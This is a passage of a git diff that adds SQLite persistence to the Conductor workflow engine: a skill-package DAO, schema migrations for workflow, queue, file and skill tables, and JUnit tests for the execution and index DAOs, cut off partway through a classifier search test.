b/sqlite-persistence/src/main/java/org/conductoross/conductor/sqlite/dao/SqliteSkillPackageDAO.java new file mode 100644 index 0000000..8631597 --- /dev/null +++ b/sqlite-persistence/src/main/java/org/conductoross/conductor/sqlite/dao/SqliteSkillPackageDAO.java @@ -0,0 +1,81 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.sqlite.dao; + +import java.util.Base64; + +import javax.sql.DataSource; + +import org.conductoross.conductor.dao.SkillPackageDAO; +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.sqlite.dao.SqliteBaseDAO; + +import com.fasterxml.jackson.databind.ObjectMapper; + +/** SQLite {@link SkillPackageDAO} — table {@code skill_package} (Base64-encoded bytes). */ +public class SqliteSkillPackageDAO extends SqliteBaseDAO implements SkillPackageDAO { + + private static final String UPSERT = + "INSERT INTO skill_package (handle, data, size_bytes, created_at) VALUES (?, ?, ?, ?) " + + "ON CONFLICT (handle) DO UPDATE SET data = excluded.data, size_bytes = excluded.size_bytes"; + + private static final String SELECT = "SELECT data FROM skill_package WHERE handle = ?"; + + private static final String EXISTS = "SELECT 1 FROM skill_package WHERE handle = ?"; + + private static final String DELETE = "DELETE FROM skill_package WHERE handle = ?"; + + public SqliteSkillPackageDAO( + RetryTemplate retryTemplate, ObjectMapper objectMapper, DataSource dataSource) { + super(retryTemplate, objectMapper, dataSource); + } + + @Override + public void put(String handle, byte[] data) { + String encoded = Base64.getEncoder().encodeToString(data); + executeWithTransaction( + UPSERT, + q -> + q.addParameter(handle) + .addParameter(encoded) + .addParameter((long) data.length) + .addParameter(System.currentTimeMillis()) + .executeUpdate()); + } + + @Override + public byte[] get(String handle) { + String encoded = + queryWithTransaction( + SELECT, + q -> + q.addParameter(handle) + .executeAndFetch(rs -> rs.next() ? rs.getString(1) : null)); + return encoded == null ? null : Base64.getDecoder().decode(encoded); + } + + @Override + public boolean exists(String handle) { + Boolean present = + queryWithTransaction( + EXISTS, + q -> q.addParameter(handle).executeAndFetch(java.sql.ResultSet::next)); + return Boolean.TRUE.equals(present); + } + + @Override + public void delete(String handle) { + executeWithTransaction(DELETE, q -> q.addParameter(handle).executeUpdate()); + } +} diff --git a/sqlite-persistence/src/main/resources/db/migration_sqlite/V1__initial_schema.sql b/sqlite-persistence/src/main/resources/db/migration_sqlite/V1__initial_schema.sql new file mode 100644 index 0000000..b2244da --- /dev/null +++ b/sqlite-persistence/src/main/resources/db/migration_sqlite/V1__initial_schema.sql @@ -0,0 +1,187 @@ +CREATE TABLE meta_event_handler ( + id integer PRIMARY KEY AUTOINCREMENT, + name TEXT NOT NULL, + event TEXT NOT NULL, + active INTEGER NOT NULL, + json_data TEXT NOT NULL, + created_on DATETIME DEFAULT CURRENT_TIMESTAMP, + modified_on DATETIME DEFAULT CURRENT_TIMESTAMP +); + +CREATE TABLE locks ( + lock_id TEXT NOT NULL, + lease_expiration DATETIME NOT NULL, + PRIMARY KEY (lock_id) +); + +CREATE TABLE meta_workflow_def ( + created_on DATETIME DEFAULT CURRENT_TIMESTAMP, + modified_on DATETIME DEFAULT CURRENT_TIMESTAMP, + name TEXT NOT NULL, + version INTEGER NOT NULL, + latest_version INTEGER DEFAULT 0 NOT NULL, + json_data TEXT NOT NULL, + PRIMARY KEY (name, version) +); +CREATE INDEX workflow_def_name_index ON meta_workflow_def(name); + +CREATE TABLE meta_task_def ( + name TEXT NOT NULL PRIMARY KEY, + json_data TEXT NOT NULL, + created_on DATETIME DEFAULT CURRENT_TIMESTAMP, + modified_on DATETIME DEFAULT CURRENT_TIMESTAMP +); + +-- Execution Tables +CREATE TABLE event_execution ( + event_handler_name TEXT NOT NULL, + event_name TEXT NOT NULL, + execution_id TEXT NOT NULL, + message_id TEXT NOT NULL, + json_data TEXT NOT NULL, + created_on DATETIME DEFAULT CURRENT_TIMESTAMP, + modified_on DATETIME DEFAULT CURRENT_TIMESTAMP, + PRIMARY KEY (event_handler_name, event_name, execution_id) +); + +CREATE TABLE poll_data ( + queue_name TEXT NOT NULL, + domain TEXT NOT NULL, + json_data TEXT NOT NULL, + created_on DATETIME DEFAULT CURRENT_TIMESTAMP, + modified_on DATETIME DEFAULT CURRENT_TIMESTAMP, + PRIMARY KEY (queue_name, domain) +); +CREATE INDEX poll_data_queue_name_idx ON poll_data(queue_name); + +CREATE TABLE task_scheduled ( + workflow_id TEXT NOT NULL, + task_key TEXT NOT NULL, + task_id TEXT NOT NULL, + created_on DATETIME DEFAULT CURRENT_TIMESTAMP, + modified_on DATETIME DEFAULT CURRENT_TIMESTAMP, + PRIMARY KEY (workflow_id, task_key) +); + +CREATE TABLE task_in_progress ( + task_def_name TEXT NOT NULL, + task_id TEXT NOT NULL, + workflow_id TEXT NOT NULL, + in_progress_status INTEGER NOT NULL DEFAULT 0, + created_on DATETIME DEFAULT CURRENT_TIMESTAMP, + modified_on DATETIME DEFAULT CURRENT_TIMESTAMP, + PRIMARY KEY (task_def_name, task_id) +); + +CREATE TABLE task ( + task_id TEXT NOT NULL PRIMARY KEY, + json_data TEXT NOT NULL, + created_on DATETIME DEFAULT CURRENT_TIMESTAMP, + modified_on DATETIME DEFAULT CURRENT_TIMESTAMP +); + +CREATE TABLE workflow ( + workflow_id TEXT NOT NULL PRIMARY KEY, + correlation_id TEXT, + json_data TEXT NOT NULL, + created_on DATETIME DEFAULT CURRENT_TIMESTAMP, + modified_on DATETIME DEFAULT CURRENT_TIMESTAMP +); + +CREATE TABLE workflow_def_to_workflow ( + workflow_def TEXT NOT NULL, + date_str TEXT, + workflow_id TEXT NOT NULL, + created_on DATETIME DEFAULT CURRENT_TIMESTAMP, + modified_on DATETIME DEFAULT CURRENT_TIMESTAMP, + PRIMARY KEY (workflow_def, date_str, workflow_id) +); + +CREATE TABLE workflow_pending ( + workflow_type TEXT NOT NULL, + workflow_id TEXT NOT NULL, + created_on DATETIME DEFAULT CURRENT_TIMESTAMP, + modified_on DATETIME DEFAULT CURRENT_TIMESTAMP, + PRIMARY KEY (workflow_type, workflow_id) +); +CREATE INDEX workflow_type_index ON workflow_pending (workflow_type); + +CREATE TABLE workflow_to_task ( + workflow_id TEXT NOT NULL, + task_id TEXT NOT NULL, + created_on DATETIME DEFAULT CURRENT_TIMESTAMP, + modified_on DATETIME DEFAULT CURRENT_TIMESTAMP, + PRIMARY KEY (workflow_id, task_id) +); +CREATE INDEX workflow_id_index ON workflow_to_task(workflow_id); + +-- Queue Tables +CREATE TABLE queue ( + queue_name TEXT NOT NULL PRIMARY KEY, + created_on DATETIME DEFAULT CURRENT_TIMESTAMP +); + +CREATE TABLE queue_message ( + queue_name TEXT NOT NULL, + message_id TEXT NOT NULL, + deliver_on DATETIME DEFAULT CURRENT_TIMESTAMP, + priority INTEGER DEFAULT 0, + popped INTEGER DEFAULT 0, + offset_time_seconds INTEGER, + payload TEXT, + created_on DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP, + PRIMARY KEY (queue_name, message_id) +); + +CREATE TABLE task_execution_logs ( + log_id INTEGER PRIMARY KEY AUTOINCREMENT, + task_id TEXT NOT NULL, + log TEXT NOT NULL, + created_time DATETIME NOT NULL +); + +CREATE INDEX task_execution_logs_task_id_idx ON task_execution_logs(task_id); + +CREATE TABLE task_index ( + task_id TEXT NOT NULL, + task_type TEXT NOT NULL, + task_def_name TEXT NOT NULL, + status TEXT NOT NULL, + start_time DATETIME NOT NULL, + update_time DATETIME NOT NULL, + workflow_type TEXT NOT NULL, + json_data TEXT NOT NULL, + PRIMARY KEY (task_id) +); + +CREATE TABLE workflow_index ( + workflow_id TEXT NOT NULL, + correlation_id TEXT, + workflow_type TEXT NOT NULL, + start_time DATETIME NOT NULL, + status TEXT NOT NULL, + json_data TEXT NOT NULL, -- SQLite doesn't have JSONB, storing as TEXT + update_time DATETIME NOT NULL DEFAULT '1970-01-01 00:00:00', + PRIMARY KEY (workflow_id) +); + +-- Regular indexes +CREATE INDEX workflow_index_correlation_id_idx ON workflow_index(correlation_id); +CREATE INDEX workflow_index_start_time_idx ON workflow_index(start_time); +CREATE INDEX workflow_index_status_idx ON workflow_index(status); +CREATE INDEX workflow_index_workflow_type_idx ON workflow_index(workflow_type); + +-- Regular indexes for columns +CREATE INDEX task_index_status_idx ON task_index(status); +CREATE INDEX task_index_task_def_name_idx ON task_index(task_def_name); +CREATE INDEX task_index_task_id_idx ON task_index(task_id); +CREATE INDEX task_index_task_type_idx ON task_index(task_type); +CREATE INDEX task_index_update_time_idx ON task_index(update_time); +CREATE INDEX task_index_workflow_type_idx ON task_index(workflow_type); + +-- Indexes +CREATE INDEX IF NOT EXISTS idx_event_handler_name ON meta_event_handler (name); +CREATE INDEX IF NOT EXISTS idx_event_handler_event ON meta_event_handler (event); +CREATE INDEX IF NOT EXISTS idx_workflow_def_name ON meta_workflow_def (name); +CREATE INDEX IF NOT EXISTS idx_workflow_correlation ON workflow (correlation_id); +CREATE INDEX IF NOT EXISTS idx_queue_message_combo ON queue_message (queue_name, priority DESC, popped, deliver_on, created_on); \ No newline at end of file diff --git a/sqlite-persistence/src/main/resources/db/migration_sqlite/V2__parent_workflow_id.sql b/sqlite-persistence/src/main/resources/db/migration_sqlite/V2__parent_workflow_id.sql new file mode 100644 index 0000000..93892c1 --- /dev/null +++ b/sqlite-persistence/src/main/resources/db/migration_sqlite/V2__parent_workflow_id.sql @@ -0,0 +1,2 @@ +ALTER TABLE workflow_index ADD COLUMN parent_workflow_id TEXT NOT NULL DEFAULT ''; +CREATE INDEX workflow_index_parent_workflow_id_idx ON workflow_index (parent_workflow_id); diff --git a/sqlite-persistence/src/main/resources/db/migration_sqlite/V3__file_metadata.sql b/sqlite-persistence/src/main/resources/db/migration_sqlite/V3__file_metadata.sql new file mode 100644 index 0000000..827f3fe --- /dev/null +++ b/sqlite-persistence/src/main/resources/db/migration_sqlite/V3__file_metadata.sql @@ -0,0 +1,18 @@ +CREATE TABLE IF NOT EXISTS file_metadata ( + file_id VARCHAR(255) NOT NULL PRIMARY KEY, + file_name VARCHAR(1024) NOT NULL, + content_type VARCHAR(255) NOT NULL, + storage_content_hash VARCHAR(255), + storage_content_size BIGINT, + storage_type VARCHAR(50) NOT NULL, + storage_path VARCHAR(2048) NOT NULL, + upload_status VARCHAR(50) NOT NULL DEFAULT 'UPLOADING', + workflow_id VARCHAR(255) NOT NULL, + task_id VARCHAR(255), + created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, + updated_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP +); + +CREATE INDEX IF NOT EXISTS idx_file_metadata_workflow_id ON file_metadata (workflow_id); +CREATE INDEX IF NOT EXISTS idx_file_metadata_task_id ON file_metadata (task_id); +CREATE INDEX IF NOT EXISTS idx_file_metadata_upload_status ON file_metadata (upload_status); diff --git a/sqlite-persistence/src/main/resources/db/migration_sqlite/V4__agentspan_skills.sql b/sqlite-persistence/src/main/resources/db/migration_sqlite/V4__agentspan_skills.sql new file mode 100644 index 0000000..99916cb --- /dev/null +++ b/sqlite-persistence/src/main/resources/db/migration_sqlite/V4__agentspan_skills.sql @@ -0,0 +1,21 @@ +-- AgentSpan skill storage (conductor.integrations.ai.enabled). Metadata + package bytes. +CREATE TABLE IF NOT EXISTS skill_metadata ( + owner_id VARCHAR(255) NOT NULL, + name VARCHAR(255) NOT NULL, + version VARCHAR(255) NOT NULL, + is_latest BOOLEAN NOT NULL DEFAULT 0, + detail_json TEXT NOT NULL, + created_at BIGINT, + updated_at BIGINT, + PRIMARY KEY (owner_id, name, version) +); + +CREATE INDEX IF NOT EXISTS idx_skill_metadata_owner_name ON skill_metadata (owner_id, name); + +-- Package bytes are stored Base64-encoded so the value binds uniformly across backends. +CREATE TABLE IF NOT EXISTS skill_package ( + handle VARCHAR(255) NOT NULL PRIMARY KEY, + data TEXT NOT NULL, + size_bytes BIGINT, + created_at BIGINT +); diff --git a/sqlite-persistence/src/main/resources/db/migration_sqlite/V5__workflow_index_classifier.sql b/sqlite-persistence/src/main/resources/db/migration_sqlite/V5__workflow_index_classifier.sql new file mode 100644 index 0000000..dc9a1d1 --- /dev/null +++ b/sqlite-persistence/src/main/resources/db/migration_sqlite/V5__workflow_index_classifier.sql @@ -0,0 +1,6 @@ +-- Classifier of the workflow definition an execution was started from (e.g. 'workflow' for a +-- plain workflow, 'agent' for AgentSpan agents). Derived from WorkflowDef.metadata at index time. +-- Rows indexed before this migration keep a NULL classifier and are treated as untagged +-- ('workflow') by the search query builder. +ALTER TABLE workflow_index ADD COLUMN classifier TEXT; +CREATE INDEX workflow_index_classifier_idx ON workflow_index (classifier, start_time); diff --git a/sqlite-persistence/src/test/java/com/netflix/conductor/sqlite/dao/SqliteExecutionDAOTest.java b/sqlite-persistence/src/test/java/com/netflix/conductor/sqlite/dao/SqliteExecutionDAOTest.java new file mode 100644 index 0000000..d374bab --- /dev/null +++ b/sqlite-persistence/src/test/java/com/netflix/conductor/sqlite/dao/SqliteExecutionDAOTest.java @@ -0,0 +1,114 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqlite.dao; + +import java.util.List; + +import org.flywaydb.core.Flyway; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.mockito.Mockito; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.flyway.FlywayAutoConfiguration; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.dao.ExecutionDAO; +import com.netflix.conductor.dao.ExecutionDAOTest; +import com.netflix.conductor.model.WorkflowModel; +import com.netflix.conductor.sqlite.config.SqliteConfiguration; + +import com.google.common.collect.Iterables; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; + +@ContextConfiguration( + classes = { + TestObjectMapperConfiguration.class, + SqliteConfiguration.class, + FlywayAutoConfiguration.class + }) +@RunWith(SpringRunner.class) +@SpringBootTest(properties = "spring.flyway.clean-disabled=false") +public class SqliteExecutionDAOTest extends ExecutionDAOTest { + + @Autowired private SqliteExecutionDAO executionDAO; + + @Autowired Flyway flyway; + + // clean the database between tests. + @Before + public void before() { + flyway.migrate(); + } + + @Test + public void testPendingByCorrelationId() { + + WorkflowDef def = new WorkflowDef(); + def.setName("pending_count_correlation_jtest"); + + WorkflowModel workflow = createTestWorkflow(); + workflow.setWorkflowDefinition(def); + + generateWorkflows(workflow, 10); + + List bycorrelationId = + getExecutionDAO() + .getWorkflowsByCorrelationId( + "pending_count_correlation_jtest", "corr001", true); + assertNotNull(bycorrelationId); + assertEquals(10, bycorrelationId.size()); + } + + @Test + public void testRemoveWorkflow() { + WorkflowDef def = new WorkflowDef(); + def.setName("workflow"); + + WorkflowModel workflow = createTestWorkflow(); + workflow.setWorkflowDefinition(def); + + List ids = generateWorkflows(workflow, 1); + + assertEquals(1, getExecutionDAO().getPendingWorkflowCount("workflow")); + ids.forEach(wfId -> getExecutionDAO().removeWorkflow(wfId)); + assertEquals(0, getExecutionDAO().getPendingWorkflowCount("workflow")); + } + + @Test + public void testRemoveWorkflowWithExpiry() { + WorkflowDef def = new WorkflowDef(); + def.setName("workflow"); + + WorkflowModel workflow = createTestWorkflow(); + workflow.setWorkflowDefinition(def); + + List ids = generateWorkflows(workflow, 1); + + final ExecutionDAO execDao = Mockito.spy(getExecutionDAO()); + assertEquals(1, execDao.getPendingWorkflowCount("workflow")); + ids.forEach(wfId -> execDao.removeWorkflowWithExpiry(wfId, 1)); + Mockito.verify(execDao, Mockito.timeout(10 * 1000)).removeWorkflow(Iterables.getLast(ids)); + } + + @Override + public ExecutionDAO getExecutionDAO() { + return executionDAO; + } +} diff --git a/sqlite-persistence/src/test/java/com/netflix/conductor/sqlite/dao/SqliteIndexDAOTest.java b/sqlite-persistence/src/test/java/com/netflix/conductor/sqlite/dao/SqliteIndexDAOTest.java new file mode 100644 index 0000000..5ee2410 --- /dev/null +++ b/sqlite-persistence/src/test/java/com/netflix/conductor/sqlite/dao/SqliteIndexDAOTest.java @@ -0,0 +1,863 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqlite.dao; + +import java.io.File; +import java.sql.Connection; +import java.sql.SQLException; +import java.sql.Timestamp; +import java.time.Instant; +import java.time.format.DateTimeFormatter; +import java.time.temporal.TemporalAccessor; +import java.util.*; + +import javax.sql.DataSource; + +import org.flywaydb.core.Flyway; +import org.junit.Before; +import org.junit.Ignore; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.boot.autoconfigure.flyway.FlywayAutoConfiguration; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.test.annotation.DirtiesContext; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskExecLog; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.sqlite.config.SqliteConfiguration; +import com.netflix.conductor.sqlite.util.Query; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.junit.Assert.assertEquals; + +@ContextConfiguration( + classes = { + TestObjectMapperConfiguration.class, + SqliteConfiguration.class, + FlywayAutoConfiguration.class + }) +@RunWith(SpringRunner.class) +@TestPropertySource( + properties = { + "conductor.app.asyncIndexingEnabled=false", + "conductor.elasticsearch.version=0", + "conductor.indexing.type=sqlite", + "conductor.db.type=sqlite", + "spring.flyway.clean-disabled=false" + }) +@SpringBootTest +@DirtiesContext(classMode = DirtiesContext.ClassMode.AFTER_EACH_TEST_METHOD) +public class SqliteIndexDAOTest { + + @Autowired private SqliteIndexDAO indexDAO; + + @Autowired private ObjectMapper objectMapper; + + @Qualifier("dataSource") + @Autowired + private DataSource dataSource; + + @Autowired Flyway flyway; + + // clean the database between tests. + @Before + public void before() { + // Delete the database file if it exists + File dbFile = new File("conductorosstest.db"); + if (dbFile.exists()) { + dbFile.delete(); + } + + // Also delete SQLite journal files if they exist + File dbJournal = new File("conductorosstest.db-journal"); + if (dbJournal.exists()) { + dbJournal.delete(); + } + File dbShm = new File("conductorosstest.db-shm"); + if (dbShm.exists()) { + dbShm.delete(); + } + File dbWal = new File("conductorosstest.db-wal"); + if (dbWal.exists()) { + dbWal.delete(); + } + + flyway.clean(); + flyway.migrate(); + } + + private WorkflowSummary getMockWorkflowSummary(String id) { + WorkflowSummary wfs = new WorkflowSummary(); + wfs.setWorkflowId(id); + wfs.setCorrelationId("correlation-id"); + wfs.setWorkflowType("workflow-type"); + wfs.setStartTime("2023-02-07T08:42:45Z"); + wfs.setUpdateTime("2023-02-07T08:43:45Z"); + wfs.setStatus(Workflow.WorkflowStatus.COMPLETED); + return wfs; + } + + private TaskSummary getMockTaskSummary(String taskId) { + TaskSummary ts = new TaskSummary(); + ts.setTaskId(taskId); + ts.setTaskType("task-type1"); + ts.setTaskDefName("task-def-name1"); + ts.setStatus(Task.Status.COMPLETED); + ts.setStartTime("2023-02-07T09:41:45Z"); + ts.setUpdateTime("2023-02-07T09:42:45Z"); + ts.setWorkflowType("workflow-type"); + return ts; + } + + private TaskExecLog getMockTaskExecutionLog(String taskId, long createdTime, String log) { + TaskExecLog tse = new TaskExecLog(); + tse.setTaskId(taskId); + tse.setLog(log); + tse.setCreatedTime(createdTime); + return tse; + } + + private void compareWorkflowSummary(WorkflowSummary wfs) throws SQLException { + List> result = + queryDb( + String.format( + "SELECT * FROM workflow_index WHERE workflow_id = '%s'", + wfs.getWorkflowId())); + assertEquals("Wrong number of rows returned", 1, result.size()); + assertEquals( + "Workflow id does not match", + wfs.getWorkflowId(), + result.get(0).get("workflow_id")); + assertEquals( + "Correlation id does not match", + wfs.getCorrelationId(), + result.get(0).get("correlation_id")); + assertEquals( + "Workflow type does not match", + wfs.getWorkflowType(), + result.get(0).get("workflow_type")); + TemporalAccessor ta = DateTimeFormatter.ISO_INSTANT.parse(wfs.getStartTime()); + Timestamp startTime = Timestamp.from(Instant.from(ta)); + assertEquals( + "Start time does not match", startTime.toString(), result.get(0).get("start_time")); + assertEquals( + "Status does not match", wfs.getStatus().toString(), result.get(0).get("status")); + } + + private List> queryDb(String query) throws SQLException { + try (Connection c = dataSource.getConnection()) { + try (Query q = new Query(objectMapper, c, query)) { + return q.executeAndFetchMap(); + } + } + } + + private void compareTaskSummary(TaskSummary ts) throws SQLException { + List> result = + queryDb( + String.format( + "SELECT * FROM task_index WHERE task_id = '%s'", ts.getTaskId())); + assertEquals("Wrong number of rows returned", 1, result.size()); + assertEquals("Task id does not match", ts.getTaskId(), result.get(0).get("task_id")); + assertEquals("Task type does not match", ts.getTaskType(), result.get(0).get("task_type")); + assertEquals( + "Task def name does not match", + ts.getTaskDefName(), + result.get(0).get("task_def_name")); + TemporalAccessor startTa = DateTimeFormatter.ISO_INSTANT.parse(ts.getStartTime()); + Timestamp startTime = Timestamp.from(Instant.from(startTa)); + assertEquals( + "Start time does not match", startTime.toString(), result.get(0).get("start_time")); + TemporalAccessor updateTa = DateTimeFormatter.ISO_INSTANT.parse(ts.getUpdateTime()); + Timestamp updateTime = Timestamp.from(Instant.from(updateTa)); + assertEquals( + "Update time does not match", + updateTime.toString(), + result.get(0).get("update_time")); + assertEquals( + "Status does not match", ts.getStatus().toString(), result.get(0).get("status")); + assertEquals( + "Workflow type does not match", + ts.getWorkflowType().toString(), + result.get(0).get("workflow_type")); + } + + @Test + public void testIndexNewWorkflow() throws SQLException { + WorkflowSummary wfs = getMockWorkflowSummary("workflow-id-new"); + + indexDAO.indexWorkflow(wfs); + compareWorkflowSummary(wfs); + } + + @Test + public void testIndexExistingWorkflow() throws SQLException { + WorkflowSummary wfs = getMockWorkflowSummary("workflow-id-existing"); + + indexDAO.indexWorkflow(wfs); + + compareWorkflowSummary(wfs); + + wfs.setStatus(Workflow.WorkflowStatus.FAILED); + wfs.setUpdateTime("2023-02-07T08:44:45Z"); + + indexDAO.indexWorkflow(wfs); + + compareWorkflowSummary(wfs); + } + + @Test + public void testWhenWorkflowIsIndexedOutOfOrderOnlyLatestIsIndexed() throws SQLException { + WorkflowSummary firstWorkflowUpdate = + getMockWorkflowSummary("workflow-id-existing-no-index"); + firstWorkflowUpdate.setUpdateTime("2023-02-07T08:42:45Z"); + + WorkflowSummary secondWorkflowUpdateSummary = + getMockWorkflowSummary("workflow-id-existing-no-index"); + secondWorkflowUpdateSummary.setUpdateTime("2023-02-07T08:43:45Z"); + secondWorkflowUpdateSummary.setStatus(Workflow.WorkflowStatus.FAILED); + + indexDAO.indexWorkflow(secondWorkflowUpdateSummary); + + compareWorkflowSummary(secondWorkflowUpdateSummary); + + indexDAO.indexWorkflow(firstWorkflowUpdate); + + compareWorkflowSummary(secondWorkflowUpdateSummary); + } + + @Test + public void testWhenWorkflowUpdatesHaveTheSameUpdateTimeTheLastIsIndexed() throws SQLException { + WorkflowSummary firstWorkflowUpdate = + getMockWorkflowSummary("workflow-id-existing-same-time-index"); + firstWorkflowUpdate.setUpdateTime("2023-02-07T08:42:45Z"); + + WorkflowSummary secondWorkflowUpdateSummary = + getMockWorkflowSummary("workflow-id-existing-same-time-index"); + secondWorkflowUpdateSummary.setUpdateTime("2023-02-07T08:42:45Z"); + secondWorkflowUpdateSummary.setStatus(Workflow.WorkflowStatus.FAILED); + + indexDAO.indexWorkflow(firstWorkflowUpdate); + + compareWorkflowSummary(firstWorkflowUpdate); + + indexDAO.indexWorkflow(secondWorkflowUpdateSummary); + + compareWorkflowSummary(secondWorkflowUpdateSummary); + } + + @Test + public void testIndexNewTask() throws SQLException { + TaskSummary ts = getMockTaskSummary("task-id-new"); + + indexDAO.indexTask(ts); + + compareTaskSummary(ts); + } + + @Test + public void testIndexExistingTask() throws SQLException { + TaskSummary ts = getMockTaskSummary("task-id-existing"); + + indexDAO.indexTask(ts); + + compareTaskSummary(ts); + + ts.setUpdateTime("2023-02-07T09:43:45Z"); + ts.setStatus(Task.Status.FAILED); + + indexDAO.indexTask(ts); + + compareTaskSummary(ts); + } + + @Test + public void testWhenTaskIsIndexedOutOfOrderOnlyLatestIsIndexed() throws SQLException { + TaskSummary firstTaskState = getMockTaskSummary("task-id-exiting-no-update"); + firstTaskState.setUpdateTime("2023-02-07T09:41:45Z"); + firstTaskState.setStatus(Task.Status.FAILED); + + TaskSummary secondTaskState = getMockTaskSummary("task-id-exiting-no-update"); + secondTaskState.setUpdateTime("2023-02-07T09:42:45Z"); + + indexDAO.indexTask(secondTaskState); + + compareTaskSummary(secondTaskState); + + indexDAO.indexTask(firstTaskState); + + compareTaskSummary(secondTaskState); + } + + @Test + public void testWhenTaskUpdatesHaveTheSameUpdateTimeTheLastIsIndexed() throws SQLException { + TaskSummary firstTaskState = getMockTaskSummary("task-id-exiting-same-time-update"); + firstTaskState.setUpdateTime("2023-02-07T09:42:45Z"); + firstTaskState.setStatus(Task.Status.FAILED); + + TaskSummary secondTaskState = getMockTaskSummary("task-id-exiting-same-time-update"); + secondTaskState.setUpdateTime("2023-02-07T09:42:45Z"); + + indexDAO.indexTask(firstTaskState); + + compareTaskSummary(firstTaskState); + + indexDAO.indexTask(secondTaskState); + + compareTaskSummary(secondTaskState); + } + + @Test + public void testAddTaskExecutionLogs() throws SQLException { + List logs = new ArrayList<>(); + String taskId = UUID.randomUUID().toString(); + logs.add(getMockTaskExecutionLog(taskId, 1675845986000L, "Log 1")); + logs.add(getMockTaskExecutionLog(taskId, 1675845987000L, "Log 2")); + + indexDAO.addTaskExecutionLogs(logs); + + List> records = + queryDb( + "SELECT * FROM task_execution_logs where task_id = '" + + taskId + + "' ORDER BY created_time ASC"); + assertEquals("Wrong number of logs returned", 2, records.size()); + assertEquals(logs.get(0).getLog(), records.get(0).get("log")); + assertEquals(1675845986000L, records.get(0).get("created_time")); + assertEquals(logs.get(1).getLog(), records.get(1).get("log")); + assertEquals(1675845987000L, records.get(1).get("created_time")); + } + + @Test + public void testSearchWorkflowSummary() { + WorkflowSummary wfs = getMockWorkflowSummary("workflow-id"); + + indexDAO.indexWorkflow(wfs); + + String query = String.format("workflowId=\"%s\"", wfs.getWorkflowId()); + SearchResult results = + indexDAO.searchWorkflowSummary(query, "*", 0, 15, new ArrayList()); + assertEquals("No results returned", 1, results.getResults().size()); + assertEquals( + "Wrong workflow returned", + wfs.getWorkflowId(), + results.getResults().get(0).getWorkflowId()); + } + + @Test + public void testSearchWorkflowSummaryByClassifier() { + String correlationId = "classifier-search-correlation-id"; + + WorkflowSummary agentWfs = getMockWorkflowSummary("workflow-id-classifier-agent"); + agentWfs.setCorrelationId(correlationId); + agentWfs.setClassifier("agent"); + indexDAO.indexWorkflow(agentWfs); + + WorkflowSummary plainWfs = getMockWorkflowSummary("workflow-id-classifier-plain"); + plainWfs.setCorrelationId(correlationId); + plainWfs.setClassifier("workflow"); + indexDAO.indexWorkflow(plainWfs); + + // Simulates a row indexed before the classifier column existed (NULL classifier). + WorkflowSummary legacyWfs = getMockWorkflowSummary("workflow-id-classifier-legacy"); + legacyWfs.setCorrelationId(correlationId); + indexDAO.indexWorkflow(legacyWfs); + + String agentQuery = + String.format("correlationId='%s' AND classifier='agent'", correlationId); + SearchResult agentResults = + indexDAO.searchWorkflowSummary(agentQuery, "*", 0, 15, new ArrayList<>()); + assertEquals("Wrong number of agent results", 1, agentResults.getResults().size()); + assertEquals( + "Wrong workflow returned", + agentWfs.getWorkflowId(), + agentResults.getResults().get(0).getWorkflowId()); + + // The untagged token must match both explicitly tagged plain workflows and legacy + // NULL rows. + String workflowQuery = + String.format("correlationId='%s' AND classifier='workflow'", correlationId); + SearchResult workflowResults = + indexDAO.searchWorkflowSummary(workflowQuery, "*", 0, 15, new ArrayList<>()); + assertEquals("Wrong number of untagged results", 2, workflowResults.getResults().size()); + + String inQuery = + String.format("correlationId='%s' AND classifier IN (agent,other)", correlationId); + SearchResult inResults = + indexDAO.searchWorkflowSummary(inQuery, "*", 0, 15, new ArrayList<>()); + assertEquals("Wrong number of IN clause results", 1, inResults.getResults().size()); + + 